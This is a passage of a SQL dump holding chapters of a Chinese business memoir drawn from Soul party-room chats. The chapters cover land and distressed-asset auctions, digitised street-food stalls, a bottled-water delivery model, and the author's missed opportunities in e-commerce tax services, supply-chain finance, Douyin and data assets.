"\n\n\"规则越严格,操作空间越小。\"\n\n\"但只要有利益,就有人想钻空子。\"\n\n\"这是人性,改不了的。\"\n\n---\n\n那天聊完,派对房里有人说:\"原来土地拍卖这么复杂。\"\n\n抱朴说:\"任何行业都复杂。\"\n\n\"你看到的只是表面。\"\n\n\"背后的规则、利益、博弈,外人看不到。\"\n\n---\n\n早上8点25分,抱朴讲了一个他亲身经历的案例。\n\n\"有一次,我拍一块地。\"\n\n\"有个大哥想买。\"\n\n\"他一个小时问我一次:有人办牌没有?\"\n\n\"他紧张得很。\"\n\n\"因为他知道,只要有人跟他抢,价格就上去了。\"\n\n\"他提前打听过,觉得没人会来。\"\n\n\"但他还是不放心。\"\n\n---\n\n他继续说。\n\n\"最后确实没人来。\"\n\n\"他按底价拿了。\"\n\n\"省了好多钱。\"\n\n\"但这里面有没有提前打过招呼?\"\n\n\"我不知道。\"\n\n\"我是拍卖公司,我只管拍卖。\"\n\n\"买家之间的事情,我不问。\"\n\n---\n\n派对房里,有人说:\"你这是揣着明白装糊涂。\"\n\n抱朴笑了。\n\n\"做生意嘛。\"\n\n\"有些事情,知道太多不好。\"\n\n\"你只管把自己的活干好。\"\n\n\"其他的,不是你能管的。\"\n\n---\n\n早上8点48分,有人问:\"抱朴,你觉得拍卖行还能做吗?\"\n\n他说:\"能做,但没以前好做了。\"\n\n\"淘宝拍卖起来之后,线下拍卖被冲击很厉害。\"\n\n\"很多业务都跑到线上去了。\"\n\n\"线下拍卖,要找新的活法。\"\n\n我说:\"任何行业都一样。\"\n\n\"红利期过了,就要靠专业和效率。\"\n\n\"以前赚钱靠风口,现在赚钱靠能力。\"\n\n\"这是好事,说明行业在成熟。\"\n', 1393, 0, 1.00, 22, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.707', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (31, '5.3', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '地摊经济数字化:一个月900块的餐车生意', '# 5.3 地摊经济数字化:一个月900块的餐车生意\n\n\"SM那边的摊位,一个月900块。一天就挣回去了。\"\n\n2025年12月5日,周五,早上7点22分。\n\nSoul派对房里聊起了地摊经济。\n\n有人问:\"现在摆摊还能赚钱吗?\"\n\n我说:\"能。但要看你怎么摆。\"\n\n---\n\n派对房里,有人问:\"你做过地摊吗?\"\n\n我说:\"不是做过,是正在做。\"\n\n\"我们做地摊经济数字化,做了7年了。\"\n\n\"厦门这边的SM地铁口、岛内的BRT、后埔夜市、集美、同安夜市,包括今年拓展到泉州宝盖山夜市,福州 、龙岩也准备招商引资让我们过去。\"\n\n---\n\n有人问:\"什么叫地摊经济数字化?\"\n\n我说:\"简单讲,就是把地摊变成数据。\"\n\n\"传统摆摊,你只是卖东西。\"\n\n\"我们做的,是把每一个付款的用户囤到私域里。\"\n\n\"用户扫码付款,就有一个AI数智员工加他。\"\n\n\"以后他想吃地摊的东西,可以在线上下单,我们送到家。\"\n\n\"就像现在很火的淘宝闪购,地摊版的。\"\n\n---\n\n派对房里,有人问:\"美团、淘宝不做地摊吗?\"\n\n我笑了。\n\n\"他们不要这个业务。\"\n\n\"为什么?脏乱差,食品安全很麻烦。\"\n\n\"他们不想做,我们就捡起来做了。\"\n\n\"又脏又累的活,慢慢做规模出了点规模。\"\n\n---\n\n有人问:\"那你们的模式是什么?\"\n\n我说:\"三个环节。\"\n\n\"第一个,政府给地。\"\n\n\"我们和建发、国贸这些公司合作,他们有流量的地点,我们来做。\"\n\n\"本质上是帮政府解决就业问题,所以他们愿意给地。\"\n\n---\n\n我继续说。\n\n\"第二个,我们投资餐车。\"\n\n\"我们投餐车,然后便宜租给想创业的人。\"\n\n\"市面上店面四五千/月,甚至更贵,我们的餐车900块/月。\"\n\n\"而且地址都有专业的团队和数据支撑,都在流量入口:地铁口、社区集合夜市、学校学生街附近等。“\n\n---\n\n我停了一下。\n\n\"第三个,囤用户做私域。\"\n\n\"每一个付款的用户,我们都会加他微信。\"\n\n\"厦门这边30.8万吃地摊的用户,都在我们这边。\"\n\n\"他们平均每人每年消费43块,这个数据我很清楚。\"\n\n---\n\n派对房里,有人问:\"那摆摊的人能赚多少?\"\n\n我说了几个数据。\n\n\"SM那边,平均流水2万到6万。\"\n\n\"摆摊的人,平均利润8000到18000。\"\n\n\"岛内后埔那边,平均流水3万到5万。\"\n\n\"夫妻档的话,平均能赚12000到15000。\"\n\n\"但比较累。\"\n\n---\n\n有人问:\"那你们赚什么钱?\"\n\n我说:\"三个地方。\"\n\n\"第一,收租。餐车租出去,每个月收租金。\"\n\n\"第二,私域变现。用户囤起来,后端做转化。\"\n\n\"第三,政府补贴。帮政府解决就业,有政策支持。\"\n\n补贴前提是企业做的足够好 ,活的足够久。\n\n---\n\n派对房里,有人问:\"这个生意能复制吗?\"\n\n我说:\"能,但很重。\"\n\n\"你要先拿到地点,要和政府、商场谈。\"\n\n\"然后要投资餐车,一个餐车2万块左右。\"\n\n\"然后要招商,要管理,要背锅。\"\n\n\"吃坏肚子了,我们要挨骂,要处理。\"\n\n\"还有专门的背锅部门,天天等着挨骂。\"\n\n---\n\n我继续说。\n\n\"我们现在厦门有2000多摊。\"\n\n\"但后台想摆摊的人有1万个。\"\n\n\"好位置都没有,供不应求。\"\n\n\"所以这个生意稳定,只是重。\"\n\n---\n\n那天聊完,有人说:\"原来地摊也能做成这样。\"\n\n我说:\"任何行业都能数字化。\"\n\n\"地摊看起来low,但核心还是用户和数据。\"\n\n\"你把用户囤起来,就有了复购。\"\n\n\"你把数据记下来,就能做决策。\"\n\n\"这个逻辑,线上线下都一样。\"\n\n---\n\n早上8点15分,派对房里有人问:\"你们还在扩张吗?\"\n\n我说:\"福州、龙岩政府在过来找我们谈,之前中央文明办和住建部、全国各地的代表都主动来过。\"\n\n\"还有泉州宝盖山那边,刚投了一批餐车。\"\n\n\"那边有个理工学校,2万6的学生。\"\n\n\"年轻人多的地方,地摊就好做。\"\n\n派对房里,有人说:\"我也想摆摊,怎么联系你们?\"\n\n我说:\"可以来派对房聊。\"\n\n\"我们正好缺人。\"\n\n\"只是要想清楚,这个活又脏又累。\"\n\n\"能吃苦的来,想躺赚的就算了。\"\n', 1528, 0, 1.00, 23, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.718', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (32, '5.4', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '不良资产拍卖:我错过的一个亿佣金', '# 5.4 不良资产拍卖:我错过的一个亿佣金\n\n\"有一次,有个上市公司找我拍不良资产。那一单的佣金,能有一个亿。\"\n\n2025年11月27日,周四,早上8点35分。\n\nSoul派对房里,抱朴讲完了土地拍卖的故事。\n\n有人问:\"抱朴,你说你错过了更大的机会,是什么?\"\n\n他沉默了一下。\n\n\"不良资产。\"\n\n---\n\n派对房里,有人问:\"不良资产是什么?\"\n\n抱朴说:\"就是银行收不回来的钱。\"\n\n\"比如有人贷款1000万,还不起了。\"\n\n\"银行就把这个债权卖出去。\"\n\n\"卖给谁呢?卖给专门做不良资产的公司。\"\n\n\"华融、信达、东方,这些都是四大资产管理公司。\"\n\n---\n\n他继续说。\n\n\"不良资产怎么处理呢?\"\n\n\"有时候是法院没收的东西,要拍卖。\"\n\n\"有时候是银行的抵押物,要拍卖。\"\n\n\"这些拍卖,佣金都很高。\"\n\n\"因为标的大,几千万、几个亿都是常见的。\"\n\n---\n\n派对房里,有人问:\"那你那一单是怎么回事?\"\n\n抱朴叹了口气。\n\n\"那是几年前的事了。\"\n\n\"有个上市公司找我,说有一批不良资产要拍。\"\n\n\"总价值很大,佣金算下来能有一个亿。\"\n\n---\n\n我问:\"那后来呢?\"\n\n他说:\"淘宝拍卖起来了。\"\n\n派对房里,一阵沉默。\n\n---\n\n抱朴继续说。\n\n\"淘宝做了司法拍卖。\"\n\n\"法院的东西,直接放到淘宝上拍。\"\n\n\"不用再找我们这些线下拍卖公司了。\"\n\n\"那一单,就这么黄了。\"\n\n---\n\n派对房里,有人问:\"淘宝拍卖对你们冲击很大吗?\"\n\n抱朴说:\"非常大。\"\n\n\"以前法院有什么要拍的,都找我们。\"\n\n\"现在呢?直接挂淘宝。\"\n\n\"透明、公开、成本低。\"\n\n\"我们这些传统拍卖行,很多业务都没了。\"\n\n---\n\n他继续说。\n\n\"你知道淘宝拍卖最厉害的是什么吗?\"\n\n\"不是技术,是信任。\"\n\n\"老百姓相信淘宝。\"\n\n\"他们觉得在淘宝上买东西安全。\"\n\n\"拍卖也一样,他们觉得在淘宝上拍安全。\"\n\n\"这个信任,我们线下拍卖行建立不起来。\"\n\n---\n\n派对房里,有人问:\"那你们怎么办?\"\n\n抱朴想了一下。\n\n\"只能转型。\"\n\n\"有些同行去做艺术品拍卖了,那个淘宝做不了。\"\n\n\"有些去做特殊资产了,需要专业度的。\"\n\n\"有些就退出了,不做了。\"\n\n---\n\n我问:\"那你呢?\"\n\n他说:\"我还在做。\"\n\n\"但不像以前那么好做了。\"\n\n\"以前是等活上门,现在是到处找活。\"\n\n\"以前是躺着赚钱,现在是跪着赚钱。\"\n\n---\n\n那天聊完,派对房里有人说:\"淘宝真的改变了很多行业。\"\n\n我说:\"不只是淘宝。\"\n\n\"任何新技术、新平台出来,都会冲击旧的模式。\"\n\n\"这是规律,躲不掉的。\"\n\n---\n\n早上9点02分,抱朴说:\"我跟你们说这些,不是诉苦。\"\n\n\"是想说,机会来的时候,一定要抓住。\"\n\n\"那一个亿的佣金,我没抓住。\"\n\n\"不是我不想抓,是窗口关了。\"\n\n\"淘宝一进来,游戏规则就变了。\"\n\n---\n\n我说:\"这就是我常说的窗口期。\"\n\n\"电商财税有窗口期,我错过了。\"\n\n\"内容红利有窗口期,我错过了。\"\n\n\"抱朴的不良资产拍卖,也有窗口期。\"\n\n\"窗口一关,再努力也没用。\"\n\n---\n\n派对房里,有人问:\"那怎么判断窗口期?\"\n\n我说:\"看政策,看技术,看竞争。\"\n\n\"政策在松,就是窗口。\"\n\n\"新技术刚出来,就是窗口。\"\n\n\"竞争者还少,就是窗口。\"\n\n\"等大家都知道了,窗口就关了。\"\n\n---\n\n早上9点18分,抱朴说他要走了。\n\n临走前他说:\"卡若,谢谢你的派对房。\"\n\n\"让我把这些年的事情讲出来,心里舒服多了。\"\n\n我说:\"下次再来。\"\n\n\"你的故事,对很多人都有价值。\"\n\n\"至少让大家知道,什么叫错过。\"\n\n\"知道了错过,才会珍惜机会。\"\n', 1358, 0, 1.00, 24, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.729', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (33, '5.5', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '桶装水李总:跟物业合作的轻资产模式', '# 5.5 桶装水李总:跟物业合作的轻资产模式\n\n\"包年1500块,随便你喝。你算一下,是不是比每次单买便宜?\"\n\n2025年12月3日,周三,早上7点42分。\n\n那天派对房的气氛很轻松,聊着聊着,一个ID叫\"李无聊\"的人上了麦。\n\n声音不急不慢,说他在厦门做桶装水。\n\n我问:\"送水也能做出模式来?\"\n\n他说:\"能。\"\n\n---\n\n派对房里,有人问:\"送水不就是送水吗?有什么模式?\"\n\n李总说:\"你们想象的送水,是一个师傅骑着三轮车,挨家挨户送。\"\n\n\"累,人工成本高,而且量上不去。\"\n\n\"我做的不一样。\"\n\n---\n\n他继续说。\n\n\"我是跟物业合作。\"\n\n\"找到一栋写字楼的物业,跟他谈:你给我一个仓库位置,我把水放在那里。\"\n\n\"然后水怎么送到楼上呢?\"\n\n\"物业的保安帮我送。\"\n\n---\n\n派对房里,有人说:\"保安愿意吗?\"\n\n李总说:\"给钱就愿意。\"\n\n\"保安本来就闲着,多挣点外快,他高兴还来不及。\"\n\n\"我跟他们谈好,每桶多少钱,他送到客户那里,这部分钱归他。\"\n\n---\n\n派对房里,有人问:\"那你赚什么?\"\n\n李总说:\"我赚差价。\"\n\n\"我后端有供应链,拿货成本比市面上低。\"\n\n\"我卖给客户的价格虽然便宜,但还是有利润的。\"\n\n\"关键是,我不用招人,不用发工资,不用管配送。\"\n\n\"物业帮我解决了所有的最后一公里问题。\"\n\n---\n\n我问:\"那你怎么获客?\"\n\n李总说:\"也是找物业。\"\n\n\"物业有这栋楼所有公司的联系方式。\"\n\n\"物业帮我推,因为我给物业分成。\"\n\n\"公司收到物业推荐的水,觉得便宜,就订了。\"\n\n\"这个信任链条是:物业——公司——我。\"\n\n---\n\n派对房里,有人问:\"那你现在做了多少量?\"\n\n李总说了几个数据。\n\n\"四海云楼那边,320多家企业。\"\n\n\"一个月流水16万多。\"\n\n\"利润7万6到7万。\"\n\n---\n\n派对房里,有人说:\"利润还可以啊。\"\n\n李总说:\"还行吧。\"\n\n\"但也辛苦,一开始很难谈。\"\n\n\"物业凭什么跟你合作?你要证明你靠谱。\"\n\n\"你要证明你的水质量好,服务稳定。\"\n\n\"谈一个物业,可能要跑好几次。\"\n\n---\n\n我问:\"你的核心竞争力是什么?\"\n\n李总想了一下。\n\n\"两个。\"\n\n\"第一个,供应链。我拿货成本低,所以我能给客户便宜的价格。\"\n\n\"第二个,模式。我把配送外包给物业保安,所以我人工成本低。\"\n\n\"这两个加起来,我就能打价格战,而且还有利润。\"\n\n---\n\n派对房里,有人问:\"那你的壁垒是什么?别人也能这么做啊。\"\n\n李总说:\"壁垒是关系。\"\n\n\"我跟这些物业的关系,别人短时间建立不起来。\"\n\n\"而且我先入场,客户已经习惯找我了。\"\n\n\"你后来进来,要把客户抢走,很难。\"\n\n---\n\n那天聊完,派对房里有人说:\"原来送水也能这么玩。\"\n\n我说:\"任何行业都能玩出花来。\"\n\n\"送水听起来low,但你把模式做对,就能赚钱。\"\n\n\"关键是找到轻资产的方式。\"\n\n\"人工成本是最重的,你能外包出去,就轻了。\"\n\n---\n\n早上8点25分,我问李总:\"你还扩张吗?\"\n\n他说:\"在看其他写字楼。\"\n\n\"厦门还有很多楼没覆盖。\"\n\n\"只要物业愿意合作,我就能进去。\"\n\n我说:\"那你来派对房多分享分享。\"\n\n\"说不定有人听了,想跟你合作。\"\n\n\"或者有人在其他城市,想复制你的模式。\"\n\n他笑了:\"那很好啊。\"\n\n---\n\n后来,我们公司真的找李总订了水。\n\n1500块,包年,不限量。\n\n比以前单买便宜多了。\n\n这就是Soul派对房的好处。\n\n你分享一个模式,别人觉得好,就成了你的客户。\n\n分享即获客,这是最低成本的销售。\n', 1337, 0, 1.00, 25, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.741', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (34, '6.1', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '电商财税窗口:2016年的千万级机会', '# 6.1 电商财税窗口:2016年的千万级机会\n\n\"如果让我重新选择,2016年我一定不会错过电商财税这个机会。\"\n\n2025年11月19日,周三,早上6点45分。\n\n那天派对房的气氛有点感慨,聊起了人生的遗憾。\n\n有人问:\"你错过最大的机会是什么?\"\n\n我说:\"电商财税。\"\n\n---\n\n派对房里,有人问:\"什么是电商财税?\"\n\n我说:\"就是帮电商卖家做税务合规和筹划。\"\n\n\"2016年到2017年,这是一个巨大的窗口期。\"\n\n---\n\n我继续说。\n\n\"那个时候,淘宝、天猫上的卖家,大部分都是\'裸奔\'状态。\"\n\n\"什么叫裸奔?就是不开票、不报税、钱直接进个人账户。\"\n\n\"他们觉得自己是小卖家,税务局不会查到自己头上。\"\n\n---\n\n我停了一下。\n\n\"但2016年开始,情况变了。\"\n\n\"税务局开始利用大数据,跟电商平台对接。\"\n\n\"你在平台上的每一笔交易,税务局都能看到。\"\n\n\"很多卖家突然收到税务局的通知,说你这几年少交了多少税,要补缴。\"\n\n---\n\n派对房里,有人说:\"那不是很惨?\"\n\n我说:\"对,很多人被补税补得倾家荡产。\"\n\n\"但这个时候,做电商财税的人就赚翻了。\"\n\n---\n\n我继续说。\n\n\"他们做什么?\"\n\n\"帮卖家做税务筹划,帮他们合规,帮他们省税。\"\n\n\"一个客户收几万块服务费,一年做几百个客户,你算算多少钱?\"\n\n---\n\n派对房里,有人问:\"那你为什么没做?\"\n\n我说:\"因为我当时不懂。\"\n\n\"我那时候也在做电商,但我只会卖货,不懂财税。\"\n\n\"我身边有人在做这个,跟我说过好几次,让我一起做。\"\n\n\"我没当回事。\"\n\n---\n\n我停了一下。\n\n\"我当时想的是什么?\"\n\n\"我想的是,卖货才是正经事,财税那些东西太复杂了,我不想碰。\"\n\n\"而且我觉得,财税这种东西,应该是会计师事务所做的,我一个卖货的,做什么财税?\"\n\n---\n\n我继续说。\n\n\"结果呢?\"\n\n\"那个跟我说的人,两年赚了上千万。\"\n\n\"我呢?还在苦哈哈地卖货,一年赚个几十万。\"\n\n---\n\n派对房里,有人说:\"那你后来为什么没补上?\"\n\n我说:\"因为窗口期过了。\"\n\n\"2018年以后,这个市场就饱和了。\"\n\n\"做电商财税的公司越来越多,价格越来越卷。\"\n\n\"而且很多卖家也学聪明了,自己就会做基本的税务筹划。\"\n\n\"那个躺着赚钱的时代,过去了。\"\n\n---\n\n我停了一下。\n\n\"这件事给我的教训是什么?\"\n\n\"第一,机会往往在你不熟悉的领域。\"\n\n\"如果你只盯着自己熟悉的东西,你就会错过很多机会。\"\n\n---\n\n我继续说。\n\n\"第二,不要拒绝学习新东西。\"\n\n\"我当时如果愿意花几个月时间去学财税知识,可能就抓住那个机会了。\"\n\n\"但我觉得太麻烦,不想学。\"\n\n\"结果就是,我用\'不想学\'的借口,错过了一个千万级的机会。\"\n\n---\n\n我停了一下。\n\n\"第三,要听得进别人的建议。\"\n\n\"有人跟你说一个机会,你至少应该认真研究一下,而不是直接拒绝。\"\n\n\"我当时就是太自以为是了,觉得自己懂,其实什么都不懂。\"\n\n---\n\n那天早上7点23分,派对房里安静了一会儿。\n\n有人说:\"听你这么说,我想起我也错过过类似的机会。\"\n\n我说:\"每个人都错过过。\"\n\n\"关键不是后悔,是从错过里学到东西。\"\n\n\"我现在每次遇到一个新东西,都会多想一下:这会不会是下一个电商财税?\"\n\n\"想不明白没关系,但至少要想。\"\n\n\"不想,就永远只能看着别人赚钱。\"\n', 1275, 0, 1.00, 26, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.752', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (35, '6.2', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '供应链金融:我不懂的杠杆游戏', '# 6.2 供应链金融:我不懂的杠杆游戏\n\n\"2018年,有人找我做供应链金融,我拒绝了。\"\n\n2025年11月21日,周五,早上6点11分。\n\nSoul派对房里继续聊错过的机会。\n\n有人问:\"供应链金融是什么?\"\n\n我说:\"简单说,就是用供应链上的应收账款、存货这些东西做抵押,去银行贷款。\"\n\n---\n\n派对房里,有人说:\"这不就是贷款吗?\"\n\n我说:\"不只是贷款,是一套系统。\"\n\n\"你想想,一个供应链上有多少环节?\"\n\n\"原材料供应商、生产商、品牌商、经销商、零售商。\"\n\n\"每个环节都有资金需求,都有应收账款。\"\n\n\"如果你能把这些资金需求整合起来,帮他们对接银行,你就能赚到钱。\"\n\n---\n\n我继续说。\n\n\"2018年的时候,有个做金融的朋友找我。\"\n\n\"他说,你做电商,认识很多供应商和品牌商,我们可以一起做供应链金融。\"\n\n\"我负责找客户,他负责对接银行和资金方。\"\n\n---\n\n派对房里,有人问:\"那你为什么没做?\"\n\n我说:\"因为我不懂。\"\n\n\"他跟我讲了一大堆,什么保理、什么票据、什么资产证券化。\"\n\n\"我听得云里雾里,完全不懂。\"\n\n---\n\n我停了一下。\n\n\"而且我当时有一个顾虑。\"\n\n\"我觉得金融这个东西,风险太大。\"\n\n\"万一出了问题,会不会把我也牵连进去?\"\n\n\"所以我就拒绝了。\"\n\n---\n\n我继续说。\n\n\"结果呢?\"\n\n\"那个朋友后来找了别人合作,三年赚了几千万。\"\n\n\"而且他做的是正规的供应链金融,完全合法合规。\"\n\n\"我当时的顾虑,完全是因为不懂而产生的恐惧。\"\n\n---\n\n派对房里,有人说:\"那你现在后悔吗?\"\n\n我说:\"后悔。\"\n\n\"但更重要的是,我从这件事里学到了一个教训。\"\n\n---\n\n我停了一下。\n\n\"什么教训?\"\n\n\"就是不要因为不懂就拒绝。\"\n\n\"不懂可以学,可以问,可以找人解释。\"\n\n\"但如果你因为不懂就直接拒绝,你就永远没有机会懂了。\"\n\n---\n\n我继续说。\n\n\"还有一个教训。\"\n\n\"就是不要把\'风险\'和\'不懂\'混为一谈。\"\n\n\"很多时候,你觉得一件事情风险大,其实是因为你不懂。\"\n\n\"当你真正懂了,你就知道风险在哪里,怎么控制风险。\"\n\n\"不懂的时候,一切都是风险。懂了之后,风险是可以管理的。\"\n\n---\n\n派对房里,有人问:\"那供应链金融现在还能做吗?\"\n\n我说:\"能做,但机会没有那么大了。\"\n\n\"2018年是窗口期,那时候做的人少,利润高。\"\n\n\"现在做的人多了,利润被压缩了。\"\n\n\"但如果你有资源、有能力,还是可以做的。\"\n\n---\n\n我停了一下。\n\n\"但我想说的不是供应链金融本身。\"\n\n\"我想说的是,金融思维。\"\n\n---\n\n我继续说。\n\n\"什么是金融思维?\"\n\n\"就是用杠杆的思维来看问题。\"\n\n\"普通人赚钱,是用时间换钱。你工作一天,赚一天的钱。\"\n\n\"有金融思维的人赚钱,是用钱生钱,用杠杆放大收益。\"\n\n---\n\n我举了个例子。\n\n\"比如你有100万,你可以自己做生意,一年赚20万。\"\n\n\"但如果你有金融思维,你可以用这100万去撬动1000万的资源。\"\n\n\"然后用1000万去做生意,一年可能赚200万。\"\n\n\"这就是杠杆的力量。\"\n\n---\n\n派对房里,有人说:\"但杠杆不是有风险吗?\"\n\n我说:\"当然有风险。\"\n\n\"但风险和收益是成正比的。\"\n\n\"你想要高收益,就必须承担一定的风险。\"\n\n\"关键是,你要懂得怎么控制风险,而不是因为害怕风险就放弃机会。\"\n\n---\n\n那天早上7点08分,有人在派对房里说:\"我一直觉得金融很复杂,不敢碰。\"\n\n我说:\"我以前也这么想。\"\n\n\"但后来我发现,金融的底层逻辑其实很简单:钱从多的地方流向少的地方,从便宜的地方流向贵的地方。\"\n\n\"你理解了这个,很多金融产品就不难懂了。\"\n\n\"不要被那些专业术语吓住。\"\n\n\"术语是用来装门槛的,底层逻辑是相通的。\"\n', 1430, 0, 1.00, 27, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.763', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (36, '6.3', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '内容红利:2019年我为什么没做抖音', '# 6.3 内容红利:2019年我为什么没做抖音\n\n\"2019年,抖音的流量红利期,我在干什么?我在卖货。\"\n\n2025年11月26日,周三,早上6点28分。\n\nSoul派对房里聊起了内容创业。\n\n有人问:\"你做过抖音吗?\"\n\n我说:\"做过,但做得太晚了。\"\n\n---\n\n派对房里,有人问:\"什么叫太晚?\"\n\n我说:\"2019年是抖音的黄金期。\"\n\n\"那时候随便发个视频,都能有几万、几十万的播放量。\"\n\n\"很多人就是那个时候起来的,现在都是百万粉、千万粉的大号。\"\n\n---\n\n我继续说。\n\n\"但我那时候在干什么?\"\n\n\"我在埋头卖货。\"\n\n\"我觉得抖音是年轻人玩的东西,跟我没关系。\"\n\n\"我觉得卖货才是正经事,做内容太虚了。\"\n\n---\n\n我停了一下。\n\n\"结果呢?\"\n\n\"2021年我开始做抖音的时候,红利期已经过了。\"\n\n\"同样的内容,2019年能有几十万播放,2021年可能只有几千。\"\n\n\"我错过了最好的时机。\"\n\n---\n\n派对房里,有人说:\"但你现在在Soul上做得不是挺好的吗?\"\n\n我说:\"Soul是另一个故事。\"\n\n\"但抖音的红利,我确实错过了。\"\n\n---\n\n我继续说。\n\n\"这件事给我的教训是什么?\"\n\n\"第一,不要用老眼光看新事物。\"\n\n\"我当时觉得抖音是年轻人的玩具,不值得认真对待。\"\n\n\"但实际上,抖音已经成为了一个巨大的商业平台。\"\n\n\"我的偏见让我错过了这个机会。\"\n\n---\n\n我停了一下。\n\n\"第二,不要只盯着眼前的事情。\"\n\n\"我当时卖货卖得还不错,所以我觉得没必要做其他的。\"\n\n\"但我没想到的是,卖货的红利也会过去。\"\n\n\"如果我当时一边卖货,一边做抖音,现在可能完全不一样。\"\n\n---\n\n我继续说。\n\n\"第三,内容是最好的杠杆。\"\n\n\"你卖货,一天能卖多少?取决于你的时间和精力。\"\n\n\"但你做内容,一个视频可以被无数人看到。\"\n\n\"这就是杠杆。\"\n\n---\n\n派对房里,有人问:\"那现在做内容还有机会吗?\"\n\n我说:\"有,但要换个思路。\"\n\n\"2019年做抖音,靠的是流量红利。随便发个视频都有人看。\"\n\n\"现在做抖音,靠的是内容质量和差异化。你必须比别人做得更好,或者做别人不做的东西。\"\n\n---\n\n我继续说。\n\n\"还有一个方向,就是找新的平台。\"\n\n\"每个新平台出来的时候,都有一波红利期。\"\n\n\"比如Soul,现在就是红利期。\"\n\n\"很多人还不知道Soul可以做什么,但我已经在这里建立了自己的影响力。\"\n\n\"这就是抓住新平台红利的例子。\"\n\n---\n\n派对房里,有人说:\"但怎么判断一个平台有没有红利?\"\n\n我说:\"看两个指标。\"\n\n\"第一,用户增长速度。如果一个平台的用户在快速增长,说明有红利。\"\n\n\"第二,内容供给。如果一个平台上优质内容还不多,说明有机会。\"\n\n---\n\n我停了一下。\n\n\"但最重要的是,你要敢于尝试。\"\n\n\"很多人看到一个新平台,会说\'再等等看\'、\'看看别人怎么做\'。\"\n\n\"但等你看清楚的时候,红利期已经过了。\"\n\n\"敢于在不确定的时候入场,才能抓住红利。\"\n\n---\n\n那天早上7点16分,有人问我:\"你觉得下一个红利平台是什么?\"\n\n我说:\"我不知道。\"\n\n\"如果我知道,我早就去做了。\"\n\n\"但我知道一件事:红利一定会有,只是不知道在哪里。\"\n\n\"你能做的,就是保持敏感,多尝试,快速验证。\"\n\n\"错过一个不可怕,可怕的是一直错过。\"\n\n\"而一直错过的原因,往往不是运气不好,是你根本没在找。\"\n', 1293, 0, 1.00, 28, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.775', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (37, '6.4', 'part-3', '第三篇|真实的错误', 'chapter-6', '第6章|我人生错过的4件大钱', '数据资产化:我还在观望的未来机会', '# 6.4 数据资产化:我还在观望的未来机会\n\n\"数据资产登记,可能是下一个千万级的机会。但我还在观望。\"\n\n2025年12月11日,周四,早上6点55分。\n\nSoul派对房里聊起了数据资产。\n\n有人问:\"什么是数据资产?\"\n\n我说:\"简单说,就是把你的数据变成可以交易、可以抵押、可以融资的资产。\"\n\n---\n\n派对房里,有人说:\"数据怎么变成资产?\"\n\n我说:\"这就是现在正在发生的事情。\"\n\n\"国家出台了数据资产登记的政策,企业可以把自己的数据去登记,登记之后就有了\'资产凭证\'。\"\n\n\"有了这个凭证,你就可以用数据去融资、去抵押、去交易。\"\n\n---\n\n我继续说。\n\n\"你想想,现在哪些企业有数据?\"\n\n\"电商企业有用户消费数据。\"\n\n\"物流企业有运输数据。\"\n\n\"金融企业有交易数据。\"\n\n\"甚至街边的小店,如果用了收银系统,也有销售数据。\"\n\n---\n\n我停了一下。\n\n\"这些数据以前是\'死\'的,放在那里没有用。\"\n\n\"但如果能把它们资产化,就变成了\'活\'的,可以变现。\"\n\n---\n\n派对房里,有人问:\"那你为什么说这是一个机会?\"\n\n我说:\"因为现在做这个的人很少。\"\n\n\"大部分企业还不知道数据可以资产化,不知道怎么操作。\"\n\n\"如果你能帮他们做这件事,你就能赚到钱。\"\n\n---\n\n我继续说。\n\n\"就像2016年的电商财税一样。\"\n\n\"那时候大部分卖家不知道要合规,不知道怎么合规。\"\n\n\"帮他们做这件事的人,赚了很多钱。\"\n\n\"数据资产化可能是同样的逻辑。\"\n\n---\n\n派对房里,有人问:\"那你为什么还在观望?\"\n\n我说:\"因为我还没想清楚怎么做。\"\n\n\"这个领域太新了,政策还在变,市场还在形成。\"\n\n\"我不知道具体应该怎么切入,怎么找客户,怎么提供服务。\"\n\n---\n\n我停了一下。\n\n\"而且我有一个担心。\"\n\n\"就是这个领域可能会被大公司垄断。\"\n\n\"数据资产登记需要跟政府对接,需要有资质,需要有技术。\"\n\n\"这些门槛可能会把小玩家挡在外面。\"\n\n---\n\n派对房里,有人说:\"那你打算怎么办?\"\n\n我说:\"我在做两件事。\"\n\n\"第一,持续关注这个领域,学习相关的知识。\"\n\n\"第二,找这个领域的人聊天,了解他们在做什么,遇到什么问题。\"\n\n---\n\n我继续说。\n\n\"我不会贸然冲进去,但我也不会完全放弃。\"\n\n\"我会保持关注,等到我看清楚了,再决定要不要进入。\"\n\n---\n\n派对房里,有人问:\"那这算不算又在错过机会?\"\n\n我说:\"可能是,也可能不是。\"\n\n\"有些机会,需要快速行动。比如内容红利,你不做,别人就做了。\"\n\n\"有些机会,需要等待时机。比如数据资产化,市场还没成熟,进去太早可能会成为炮灰。\"\n\n---\n\n我停了一下。\n\n\"关键是,你要判断这个机会是哪一种。\"\n\n\"如果是需要快速行动的,那就不要犹豫。\"\n\n\"如果是需要等待时机的,那就耐心观察。\"\n\n---\n\n我继续说。\n\n\"但不管怎样,你不能完全无视。\"\n\n\"很多人错过机会,不是因为他们判断错了,是因为他们根本没关注。\"\n\n\"等机会过去了,他们才说\'我怎么不知道有这个东西\'。\"\n\n---\n\n那天早上7点31分,派对房里有人说:\"感觉你对数据资产化挺看好的。\"\n\n我说:\"我确实看好。\"\